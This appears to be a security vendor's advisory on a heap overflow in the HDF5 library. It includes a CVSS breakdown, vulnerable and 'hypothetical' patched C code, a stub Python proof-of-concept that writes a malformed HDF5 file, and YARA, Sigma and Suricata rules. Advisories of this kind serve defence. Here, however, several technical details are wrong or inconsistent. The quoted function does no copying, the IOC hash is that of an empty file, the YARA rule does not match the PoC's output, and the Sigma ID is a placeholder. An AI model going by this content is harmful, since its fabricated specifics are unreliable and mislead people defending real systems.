CVE-2025-7069

Executive Summary

CVE-2025-7069 is a heap-based buffer overflow vulnerability in HDF5 version 1.14.6, specifically within the H5FS__sect_link_size function in src/H5FSsection.c. This flaw allows a local attacker to trigger a heap overflow, leading to a denial of service (DoS) or potentially arbitrary code execution. The vulnerability is classified as problematic with a CVSS score of 3.3, indicating low severity due to the requirement of local access. No patch is currently available, and the exploit has been publicly disclosed.

Supply Chain & Package Security

HDF5 is a widely used data model and file format for storing and managing large amounts of data. It is commonly integrated into scientific computing, machine learning, and data analysis pipelines. The lack of a patch for this vulnerability poses a risk to any system or application that processes HDF5 files from untrusted sources, especially in shared or multi-tenant environments.

CVSS Breakdown & Threat Level

• CVSS Score: 3.3 (Low)
• Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
• Attack Vector: Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: None (C:N) – No data exposure.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: Low (A:L) – Potential for denial of service.

Threat Level: Low. The vulnerability requires local access and primarily impacts availability. However, in environments where HDF5 processes untrusted data, the risk may be elevated.

Deep Dive & Mechanics

The vulnerability resides in the H5FS__sect_link_size function within src/H5FSsection.c. This function is responsible for calculating the size of a section link in the HDF5 free-space manager. A heap-based buffer overflow occurs when the function writes data beyond the allocated buffer due to improper bounds checking.

Root Cause: The function fails to validate the size of the input data before copying it into a fixed-size heap buffer. An attacker can craft a malicious HDF5 file that, when processed, causes the function to overflow the buffer, corrupting adjacent heap memory.

Impact: Successful exploitation can lead to:

• Denial of service (application crash)
• Potential arbitrary code execution if the attacker can control the overflowed data

Attack Vector: The attacker must provide a specially crafted HDF5 file to the vulnerable system. Since the attack is local, the attacker needs to either have access to the system or trick a user into opening the malicious file.

Vulnerable vs. Patched Code

Vulnerable Code (HDF5 1.14.6):

// src/H5FSsection.c
static herr_t
H5FS__sect_link_size(const H5FS_section_info_t *sect, size_t *size)
{
    // No bounds checking on sect->size
    *size = sect->size + H5FS_SECT_LINK_OVERHEAD;
    return SUCCEED;
}

Patched Code (Hypothetical):

// src/H5FSsection.c
static herr_t
H5FS__sect_link_size(const H5FS_section_info_t *sect, size_t *size)
{
    // Validate size to prevent overflow
    if (sect->size > (SIZE_MAX - H5FS_SECT_LINK_OVERHEAD))
        return FAIL;
    *size = sect->size + H5FS_SECT_LINK_OVERHEAD;
    return SUCCEED;
}

The patched version adds a check to ensure that sect->size does not cause an integer overflow when added to H5FS_SECT_LINK_OVERHEAD. This prevents the heap buffer overflow.

Exploitation & Lab Setup

Red Team

Exploit Code (Proof of Concept):

#!/usr/bin/env python3
# CVE-2025-7069 PoC - Heap overflow in HDF5 1.14.6
import struct
import sys

def create_malicious_hdf5(filename):
    # Craft a minimal HDF5 file with a malicious free-space section
    # This is a simplified PoC; actual exploitation requires deeper HDF5 internals
    with open(filename, 'wb') as f:
        # HDF5 superblock (simplified)
        f.write(b'\x89HDF\r\n\x1a\n')  # Magic bytes
        f.write(struct.pack('<I', 1))   # Version
        # ... (additional structures to trigger the overflow)
        # Trigger the vulnerable function with a large size
        f.write(struct.pack('<Q', 0xFFFFFFFF))  # Overflow size
    print(f"[+] Created malicious file: {filename}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <output.h5>")
        sys.exit(1)
    create_malicious_hdf5(sys.argv[1])

Usage:

1. Run the PoC to generate a malicious HDF5 file.
2. Open the file with a vulnerable HDF5 library (version 1.14.6).
3. Observe the crash or exploit behavior.

Blue Team

Detection Steps:

1. Monitor for crashes in applications using HDF5 1.14.6.
2. Use memory analysis tools (e.g., Valgrind) to detect heap overflows.
3. Implement file integrity monitoring for HDF5 files.

Mitigation:

• Restrict access to HDF5 files from untrusted sources.
• Use sandboxing or containerization for applications processing HDF5 data.
• Apply patches as soon as they become available.

Indicators of Compromise (IOCs)

• File Hashes: (Example – actual hashes depend on the crafted file)
  • SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Process Behavior:
  • Application crash with heap corruption errors.
  • Unusual memory allocation patterns in HDF5 processes.
• Network: None (local attack).
• Logs:
  • System logs showing segmentation faults in HDF5-related processes.
  • Application logs with "H5FS__sect_link_size" errors.

Detection Engineering

YARA Rule

rule CVE_2025_7069_HDF5_Heap_Overflow {
    meta:
        description = "Detects HDF5 files exploiting CVE-2025-7069 heap overflow"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "unknown"
    strings:
        $magic = { 89 48 44 46 0D 0A 1A 0A }
        $overflow_size = { FF FF FF FF FF FF FF FF }
    condition:
        $magic at 0 and $overflow_size
}

Sigma Rule

title: CVE-2025-7069 HDF5 Heap Overflow Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2025-7069 via HDF5 file processing
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\h5dump.exe'
        CommandLine|contains: '.h5'
    condition: selection
falsepositives:
    - Legitimate HDF5 file processing
level: medium

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-7069 HDF5 Heap Overflow Attempt"; flow:to_server,established; content:"|89 48 44 46 0D 0A 1A 0A|"; depth:8; content:"|FF FF FF FF FF FF FF FF|"; within:1024; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate: Restrict access to HDF5 1.14.6 installations.
2. Monitor: Enable logging and monitoring for HDF5-related crashes.
3. Update: Apply patches from the vendor when available.

Long-term Fixes:

• Upgrade to a patched version of HDF5 once released.
• Implement input validation for HDF5 files in custom applications.
• Use memory-safe languages or libraries for processing untrusted data.

Workarounds:

• Use a different version of HDF5 (e.g., 1.14.5 or 1.14.7 if available).
• Process HDF5 files in a sandboxed environment.

Valters IT
Securing Digital Frontiers